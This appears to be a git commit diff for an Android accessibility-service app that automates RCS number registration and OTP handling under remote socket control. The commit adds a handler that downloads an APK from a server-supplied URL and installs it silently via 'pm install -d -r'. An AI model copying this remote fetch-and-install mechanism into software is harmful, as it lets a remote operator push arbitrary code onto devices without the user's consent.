x1ongzhu 1 ano atrás
pai
commit
8274307805

+ 1 - 1
app/build.gradle

@@ -24,7 +24,7 @@ android {
         applicationId "com.example.modifier"
         applicationId "com.example.modifier"
         minSdk 29
         minSdk 29
         targetSdk 34
         targetSdk 34
-        versionCode 126
+        versionCode 127
         versionName "1.0.1"
         versionName "1.0.1"
         archivesBaseName = "modifier-${versionCode}"
         archivesBaseName = "modifier-${versionCode}"
 
 

+ 6 - 0
app/src/main/java/com/example/modifier/http/api/RcsNumberApi.kt

@@ -9,5 +9,11 @@ class RcsNumberApi() {
     class Id(val parent: RcsNumberApi = RcsNumberApi(), val id: Long) {
     class Id(val parent: RcsNumberApi = RcsNumberApi(), val id: Long) {
         @Resource("delete")
         @Resource("delete")
         class Delete(val parent: Id)
         class Delete(val parent: Id)
+
+        @Resource("otpState")
+        class OtpState(val parent: Id)
+
+        @Resource("configured")
+        class Configured(val parent: Id)
     }
     }
 }
 }

+ 8 - 0
app/src/main/java/com/example/modifier/model/InstallApkAction.kt

@@ -0,0 +1,8 @@
+package com.example.modifier.model
+
+import kotlinx.serialization.Serializable
+
+@Serializable
+class InstallApkAction(val id: String, val action: String, val data: InstallApkData) {
+
+}

+ 7 - 0
app/src/main/java/com/example/modifier/model/InstallApkData.kt

@@ -0,0 +1,7 @@
+package com.example.modifier.model
+
+import kotlinx.serialization.Serializable
+
+@Serializable
+class InstallApkData(val apkUrl: String) {
+}

+ 99 - 0
app/src/main/java/com/example/modifier/service/ModifierService.kt

@@ -66,8 +66,10 @@ import com.example.modifier.http.api.RcsNumberApi
 import com.example.modifier.http.api.SysConfigApi
 import com.example.modifier.http.api.SysConfigApi
 import com.example.modifier.http.request.RcsNumberRequest
 import com.example.modifier.http.request.RcsNumberRequest
 import com.example.modifier.http.response.DeviceResponse
 import com.example.modifier.http.response.DeviceResponse
+import com.example.modifier.http.response.ErrorResponse
 import com.example.modifier.http.response.RcsNumberResponse
 import com.example.modifier.http.response.RcsNumberResponse
 import com.example.modifier.http.response.SysConfigResponse
 import com.example.modifier.http.response.SysConfigResponse
+import com.example.modifier.model.InstallApkAction
 import com.example.modifier.model.SocketCallback
 import com.example.modifier.model.SocketCallback
 import com.example.modifier.model.TaskAction
 import com.example.modifier.model.TaskAction
 import com.example.modifier.model.TaskExecutionResult
 import com.example.modifier.model.TaskExecutionResult
@@ -75,12 +77,22 @@ import com.example.modifier.model.TelephonyConfig
 import com.example.modifier.serializer.Json
 import com.example.modifier.serializer.Json
 import com.example.modifier.shellRun
 import com.example.modifier.shellRun
 import com.google.android.material.color.DynamicColors
 import com.google.android.material.color.DynamicColors
+import io.ktor.client.HttpClient
 import io.ktor.client.call.body
 import io.ktor.client.call.body
+import io.ktor.client.engine.okhttp.OkHttp
+import io.ktor.client.plugins.ClientRequestException
+import io.ktor.client.plugins.HttpResponseValidator
+import io.ktor.client.plugins.ServerResponseException
 import io.ktor.client.plugins.resources.get
 import io.ktor.client.plugins.resources.get
+import io.ktor.client.plugins.resources.post
 import io.ktor.client.plugins.resources.put
 import io.ktor.client.plugins.resources.put
+import io.ktor.client.request.prepareGet
 import io.ktor.client.request.setBody
 import io.ktor.client.request.setBody
 import io.ktor.http.ContentType
 import io.ktor.http.ContentType
 import io.ktor.http.contentType
 import io.ktor.http.contentType
+import io.ktor.utils.io.ByteReadChannel
+import io.ktor.utils.io.core.isEmpty
+import io.ktor.utils.io.core.readBytes
 import io.socket.client.IO
 import io.socket.client.IO
 import io.socket.client.Socket
 import io.socket.client.Socket
 import io.socket.emitter.Emitter
 import io.socket.emitter.Emitter
@@ -98,6 +110,7 @@ import org.apache.commons.collections4.queue.CircularFifoQueue
 import org.apache.commons.lang3.RandomStringUtils
 import org.apache.commons.lang3.RandomStringUtils
 import org.json.JSONException
 import org.json.JSONException
 import org.json.JSONObject
 import org.json.JSONObject
+import java.io.File
 import java.time.LocalDateTime
 import java.time.LocalDateTime
 import java.time.temporal.ChronoUnit
 import java.time.temporal.ChronoUnit
 import java.util.Optional
 import java.util.Optional
@@ -387,11 +400,75 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                     CoroutineScope(Dispatchers.IO).launch {
                     CoroutineScope(Dispatchers.IO).launch {
                         runTask(taskAction)
                         runTask(taskAction)
                     }
                     }
+                } else if ("installApk" == action) {
+                    val installApkAction = Json.decodeFromString<InstallApkAction>(json.toString())
+
+                    CoroutineScope(Dispatchers.IO).launch {
+                        installApk(installApkAction)
+                    }
                 }
                 }
             }
             }
         }
         }
     }
     }
 
 
+    private suspend fun installApk(installApkAction: InstallApkAction) {
+        try {
+            val file = withContext(Dispatchers.IO) {
+                File.createTempFile("files", ".apk")
+            }
+
+            HttpClient(OkHttp) {
+                HttpResponseValidator {
+                    validateResponse { response ->
+                        if (response.status.value !in 200..299) {
+                            throw ServerResponseException(
+                                response,
+                                "Error " + response.status.value.toString()
+                            )
+                        }
+                    }
+                }
+            }.prepareGet(installApkAction.data.apkUrl)
+                .execute { httpResponse ->
+                    val channel: ByteReadChannel = httpResponse.body()
+                    while (!channel.isClosedForRead) {
+                        val packet = channel.readRemaining(DEFAULT_BUFFER_SIZE.toLong())
+                        while (!packet.isEmpty) {
+                            val bytes = packet.readBytes()
+                            file.appendBytes(bytes)
+                        }
+                    }
+                }
+            Log.i(TAG, "Apk file saved to ${file.path}")
+            shellRun("pm install -d -r ${file.path}")
+            mSocket.emit(
+                "callback",
+                JSONObject(
+                    Json.encodeToString(
+                        SocketCallback<String>(
+                            id = installApkAction.id,
+                            status = 0,
+                        )
+                    )
+                )
+            )
+        } catch (e: Exception) {
+            Log.e("Modifier", "Failed to install apk", e)
+            mSocket.emit(
+                "callback",
+                JSONObject(
+                    Json.encodeToString(
+                        SocketCallback<String>(
+                            id = installApkAction.id,
+                            status = -1,
+                            error = e.message
+                        )
+                    )
+                )
+            )
+        }
+    }
+
     private suspend fun runTask(taskAction: TaskAction) {
     private suspend fun runTask(taskAction: TaskAction) {
         if (checkingConnection.value!! || running.value!! || preparing.value!! || requesting.value!!) {
         if (checkingConnection.value!! || running.value!! || preparing.value!! || requesting.value!!) {
             mSocket.emit(
             mSocket.emit(
@@ -1253,6 +1330,18 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                         Log.e(TAG, "RCS not entered waiting for OTP state, retrying...")
                         Log.e(TAG, "RCS not entered waiting for OTP state, retrying...")
                         continue
                         continue
                     }
                     }
+
+                    launch {
+                        KtorClient.post(
+                            RcsNumberApi.Id.OtpState(
+                                RcsNumberApi.Id(
+                                    RcsNumberApi(),
+                                    rcsNumber.id
+                                )
+                            )
+                        )
+                    }
+
                     if (rcsNumber.expiryTime.isBefore(LocalDateTime.now())) {
                     if (rcsNumber.expiryTime.isBefore(LocalDateTime.now())) {
                         Log.e(TAG, "RCS number expired, retrying...")
                         Log.e(TAG, "RCS number expired, retrying...")
                         continue
                         continue
@@ -1321,6 +1410,16 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                             Log.e(TAG, "RCS not configured, retrying...")
                             Log.e(TAG, "RCS not configured, retrying...")
                             continue
                             continue
                         } else {
                         } else {
+                            launch {
+                                KtorClient.post(
+                                    RcsNumberApi.Id.Configured(
+                                        RcsNumberApi.Id(
+                                            RcsNumberApi(),
+                                            rcsNumber.id
+                                        )
+                                    )
+                                )
+                            }
                             requestSuccess = true
                             requestSuccess = true
                             break
                             break
                         }
                         }